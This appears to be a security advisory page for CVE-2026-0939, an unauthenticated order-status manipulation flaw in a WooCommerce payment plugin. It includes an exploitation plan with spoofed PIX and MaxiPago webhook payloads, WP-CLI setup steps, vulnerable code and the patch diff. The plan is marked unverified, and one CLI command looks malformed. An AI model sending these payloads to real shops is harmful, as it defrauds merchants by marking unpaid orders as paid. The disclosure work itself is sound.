CVE-2026-0939

Rede Itaú for WooCommerce — Payment PIX, Credit Card and Debit <= 5.1.2 - Unauthenticated Order Status Manipulation

mediumInsufficient Verification of Data Authenticity
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
5.1.3
Patched in
4d
Time to patch

Description

The Rede Itaú for WooCommerce plugin for WordPress is vulnerable to order status manipulation due to insufficient verification of data authenticity in all versions up to, and including, 5.1.2. This is due to the plugin failing to verify the authenticity of payment callbacks. This makes it possible for unauthenticated attackers to manipulate WooCommerce order statuses, either marking unpaid orders as paid, or failed.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.1.2
PublishedJanuary 15, 2026
Last updatedJanuary 19, 2026
Affected pluginwoo-rede

What Changed in the Fix

Changes introduced in v5.1.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-0939 ## 1. Vulnerability Summary The **Rede Itaú for WooCommerce** plugin (up to 5.1.2) contains a critical flaw in its payment callback processing logic. The plugin registers several unauthenticated REST API endpoints intended to receive status updates from …

Show full research plan

Exploitation Research Plan - CVE-2026-0939

1. Vulnerability Summary

The Rede Itaú for WooCommerce plugin (up to 5.1.2) contains a critical flaw in its payment callback processing logic. The plugin registers several unauthenticated REST API endpoints intended to receive status updates from the Rede payment gateway. However, these endpoints fail to implement any form of data authenticity verification (such as digital signatures, secret tokens, or IP allowlisting).

This allows an unauthenticated attacker to manipulate the status of any WooCommerce order by sending a crafted HTTP POST request to the listener endpoints. Specifically, an attacker can transition an order from pending to processing (effectively marking an unpaid order as paid).

2. Attack Vector Analysis

  • Vulnerable Endpoint: POST /wp-json/redeIntegration/pixListener
  • Alternative Endpoints:
    • POST /wp-json/redeIntegration/maxipagoDebitListener
    • POST /wp-json/redePRO/redePixListener
  • Authentication: None (Unauthenticated). The permission_callback for these routes is set to __return_true in Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php.
  • Preconditions:
    • The "Integration Rede Pix" payment method must be enabled.
    • An order must exist with the status pending using the affected payment method.
    • The attacker must know the Transaction ID (tid) associated with the order.

3. Code Flow

  1. Endpoint Registration: In Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php, the function registerorderRedeCaptureEndPoint() registers the route:
    register_rest_route('redeIntegration', '/pixListener', array(
        'methods' => 'POST',
        'callback' => array($this, 'redePixListenerLegacy'),
        'permission_callback' => '__return_true',
    ));
    
  2. Callback Execution: When a POST request hits /wp-json/redeIntegration/pixListener, redePixListenerLegacy($request) is executed.
  3. Parameter Extraction:
    • It retrieves parameters: $requestParams = $request->get_params();
    • It extracts the Transaction ID: $tid = $requestParams['data']['id'];
  4. Order Lookup: It searches for WooCommerce orders matching this tid:
    $args = array(
        'meta_key' => '_wc_rede_integration_pix_transaction_tid',
        'meta_value' => $tid,
        // ...
    );
    $orders = wc_get_orders($args);
    
  5. Status Manipulation: If an order is found and the event matches PV.UPDATE_TRANSACTION_PIX, it updates the status:
    if ('PV.UPDATE_TRANSACTION_PIX' == $requestParams['events'][0]) {
        if ($order->get_status() === 'pending') {
            $order->update_status($paymentCompleteStatus, __('PIX payment confirmed via webhook - FREE version', 'woo-rede'));
        }
    }
    
    Crucially, there is no check to ensure the request actually originated from Rede.

4. Nonce Acquisition Strategy

No nonce is required. The vulnerability exists in a REST API endpoint registered with 'permission_callback' => '__return_true', which bypasses WordPress's default REST nonce requirement for authenticated actions.

5. Exploitation Strategy

The goal is to mark a "pending" PIX order as "paid" (processing).

Step 1: Create a Pending Order

An attacker (or the PoC agent) creates an order as a guest using the "Integration Rede Pix" method. This generates a tid stored in the database meta.

Step 2: Extract the Transaction ID (tid)

In a real-world scenario, the tid is often displayed on the "Order Received" (Thank You) page or sent via email. For the PoC, we will retrieve it directly from the database to simulate an attacker who has obtained their own TID during checkout.

Step 3: Trigger the Webhook

Send a spoofed callback to the listener.

  • URL: http://localhost:8080/wp-json/redeIntegration/pixListener
  • Method: POST
  • Headers: Content-Type: application/json
  • Payload:
{
    "events": ["PV.UPDATE_TRANSACTION_PIX"],
    "data": {
        "id": "REPLACE_WITH_ACTUAL_TID"
    }
}

6. Test Data Setup

  1. Enable WooCommerce and the Plugin: Ensure both are active.
  2. Configure Gateway: Enable integration_rede_pix in WooCommerce settings.
    wp option update woocommerce_integration_rede_pix_settings '{"enabled":"yes", "pv":"12345", "token":"abcde"}' --format=json
    
  3. Create a Product:
    wp post create --post_type=product --post_title="Test Product" --post_status=publish
    # Get the product ID (e.g., 123)
    
  4. Create a Pending Order: Manually create an order assigned to the integration_rede_pix method and give it a dummy tid.
    # Create order
    ORDER_ID=$(wp wc order create --status=pending --customer_id=0 --payment_method=integration_rede_pix --user=admin --format=ids)
    # Assign a TID to the order
    wp post primary-id meta add $ORDER_ID _wc_rede_integration_pix_transaction_tid "POC-TID-999"
    

7. Expected Results

  • The REST API endpoint should return a 200 OK response with an empty body (as per return new WP_REST_Response('', 200);).
  • The order status should change from pending to processing.
  • An order note should be added: "PIX payment confirmed via webhook - FREE version".

8. Verification Steps

Verify the order status via WP-CLI:

wp wc order get <ORDER_ID> --field=status
# Expected output: processing

Check order notes:

wp wc order_note list <ORDER_ID> --field=note
# Should contain: "PIX payment confirmed via webhook - FREE version"

9. Alternative Approaches

If the pixListener is patched or behaves differently, target the MaxiPago Debit Listener:

  • URL: POST /wp-json/redeIntegration/maxipagoDebitListener
  • Payload: Form-data with an xml parameter.
  • XML Structure:
<transaction-event>
    <referenceNumber>ORDER_REFERENCE_HERE</referenceNumber>
    <transactionStatus>3</transactionStatus>
</transaction-event>
  • Meta Key: _wc_maxipago_transaction_reference_num
  • Logic: Found in maxipagoDebitListener() in Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php. It uses parse_str on the raw body, then simplexml_load_string on the xml key.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Rede Itaú for WooCommerce plugin is vulnerable to unauthenticated order status manipulation because several payment callback REST API endpoints fail to verify the authenticity of incoming requests. Attackers can send spoofed HTTP POST requests containing valid transaction IDs or reference numbers to mark unpaid orders as paid or fail existing orders.

Vulnerable Code

// Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php line 11
public function registerorderRedeCaptureEndPoint(): void
{
    // ...
    register_rest_route('redeIntegration', '/pixListener', array(
        'methods' => 'POST',    
        'callback' => array($this, 'redePixListenerLegacy'),
        'permission_callback' => '__return_true',
    ));

    register_rest_route('redeIntegration', '/maxipagoDebitListener', array(
        'methods' => 'POST',
        'callback' => array($this, 'maxipagoDebitListener'),
        'permission_callback' => '__return_true',
    ));
    // ...
}

---

// Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php line 112
public function redePixListenerLegacy($request)
{
    add_option('lknRedeForWoocommerceProEndpointStatus', true);
    update_option('lknRedeForWoocommerceProEndpointStatus', true);
    $requestParams = $request->get_params();

    $redePixOptions = get_option('woocommerce_integration_rede_pix_settings');
    $tid = $requestParams['data']['id'];

    $args = array(
        'limit' => -1,
        'status' => array_keys(wc_get_order_statuses()),
        'meta_key' => '_wc_rede_integration_pix_transaction_tid',
        'meta_value' => $tid,
    );

    $orders = wc_get_orders($args);
    
    if (!empty($orders)) {
        $order = $orders[0];
        
        if ($order->get_payment_method() === 'integration_rede_pix') {
            if ('PV.UPDATE_TRANSACTION_PIX' == $requestParams['events'][0]) {
                if ($order->get_status() === 'pending') {
                    $paymentCompleteStatus = $redePixOptions['payment_complete_status'] ?? '';
                    if (empty($paymentCompleteStatus)) {
                        $paymentCompleteStatus = 'processing';
                    }
                    
                    $order->update_status($paymentCompleteStatus, __('PIX payment confirmed via webhook - FREE version', 'woo-rede'));
                    // ...
                }
            }
        }
    }

    return new WP_REST_Response('', 200);
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/woo-rede/5.1.2/Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php /home/deploy/wp-safety.org/data/plugin-versions/woo-rede/5.1.3/Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php
--- /home/deploy/wp-safety.org/data/plugin-versions/woo-rede/5.1.2/Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php	2026-01-07 19:28:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woo-rede/5.1.3/Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php	2026-01-16 14:08:08.000000000 +0000
@@ -457,6 +457,18 @@
         return new WP_REST_Response($response_body['authorization']['status'] ?? 'Accepted', 200);
     }
 
+    /**
+     * Processa callback de sucesso do 3D Secure
+     * 
+     * SEGURANÇA: Este endpoint foi protegido contra bypass de pagamento através de:
+     * 1. Validação de TID contra dados armazenados no pedido
+     * 2. Verificação de correspondência entre reference e order_id
+     * 3. Consulta à API da Rede para confirmar autenticidade da transação
+     * 4. Validação de amount para evitar alteração de valores
+     * 
+     * @param WP_REST_Request $request Requisição REST
+     * @return WP_REST_Response|WP_Error
+     */
     public function handle3dsSuccess($request)
     {
         $parameters = $request->get_params();
@@ -483,6 +495,12 @@
             return new WP_Error('invalid_order', __('Order not found', 'woo-rede'), array('status' => 404));
         }
 
+        // VALIDAÇÃO DE SEGURANÇA: Verifica autenticidade da requisição
+        if (!$this->validate_webhook_security($order, $parameters, 'success')) {
+            $order->add_order_note(__('Security validation failed for 3DS webhook', 'woo-rede'));
+            return new WP_Error('security_validation_failed', __('Security validation failed', 'woo-rede'), array('status' => 403));
+        }
+
         try {
             // Usa os dados que já vêm no webhook da Rede
             $this->update_order_metadata_and_status($order, $parameters);
@@ -496,6 +514,17 @@
         }
     }
 
+    /**
+     * Processa callback de falha do 3D Secure
+     * 
+     * SEGURANÇA: Este endpoint foi protegido contra bypass de pagamento através de:
+     * 1. Validação de TID contra dados armazenados no pedido
+     * 2. Verificação de correspondência entre reference e order_id
+     * 3. Consulta à API da Rede para confirmar autenticidade da transação
+     * 
+     * @param WP_REST_Request $request Requisição REST
+     * @return WP_REST_Response|WP_Error
+     */
     public function handle3dsFailure($request)
     {
         $parameters = $request->get_params();
@@ -521,6 +550,11 @@
             return new WP_Error('invalid_order', __('Order not found', 'woo-rede'), array('status' => 404));
         }
 
+        // VALIDAÇÃO DE SEGURANÇA: Verifica autenticidade da requisição
+        if (!$this->validate_webhook_security($order, $parameters, 'failure')) {
+            return new WP_Error('security_validation_failed', __('Security validation failed', 'woo-rede'), array('status' => 403));
+        }
+
         // Marca pedido como falhado
         $order->add_order_note(__('3D Secure authentication failed', 'woo-rede'));

Exploit Outline

The exploit targets the unauthenticated REST API listeners registered by the plugin. An attacker first identifies a target order in 'pending' status and obtains its associated Transaction ID (TID) or Reference Number. 1. **PIX Exploitation**: The attacker sends a POST request to `/wp-json/redeIntegration/pixListener` with a JSON body containing `"events": ["PV.UPDATE_TRANSACTION_PIX"]` and the target TID in `data.id`. Because the plugin performs no signature or source verification, it processes the request and updates the order status to 'processing' (paid). 2. **Debit/MaxiPago Exploitation**: The attacker sends a POST request to `/wp-json/redeIntegration/maxipagoDebitListener` with a URL-encoded body containing an `xml` parameter. The XML payload includes the target order's reference number and a `transactionStatus` of '3' (which corresponds to successful payment). No authentication or nonces are required for these endpoints.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.